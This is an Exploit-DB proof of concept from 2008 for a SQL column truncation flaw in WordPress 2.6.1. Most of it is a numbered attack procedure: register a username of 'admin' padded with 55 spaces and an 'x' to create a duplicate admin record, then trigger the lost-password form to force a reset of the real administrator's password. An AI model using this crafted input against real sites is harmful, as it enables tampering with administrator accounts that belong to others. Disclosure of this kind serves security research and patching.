WordPress Core 2.6.1 - SQL Column Truncation

EDB-ID:

6397


Author:

irk4z

Type:

webapps


Platform:

PHP

Date:

2008-09-07


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# WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC)
#
# found by irk4z[at]yahoo.pl
# homepage: http://irk4z.wordpress.com/
#
# this is not critical vuln [;
# 
# first, read this discovery:
# http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/
#
# in this hack we can remote change admin password, if registration enabled
#
# greets: Stefan Esser, Lukasz Pilorz, cOndemned, tbh, sid.psycho, str0ke and all fiends

1. go to url: server.com/wp-login.php?action=register

2. register as:

login: admin                                                       x
email: your email

^ admin[55 space chars]x

now, we have duplicated 'admin' account in database

3. go to url: server.com/wp-login.php?action=lostpassword

4. write your email into field and submit this form

5. check your email and go to reset confirmation link

6. admin's password changed, but new password will be send to correct admin email ;/

# milw0rm.com [2008-09-07]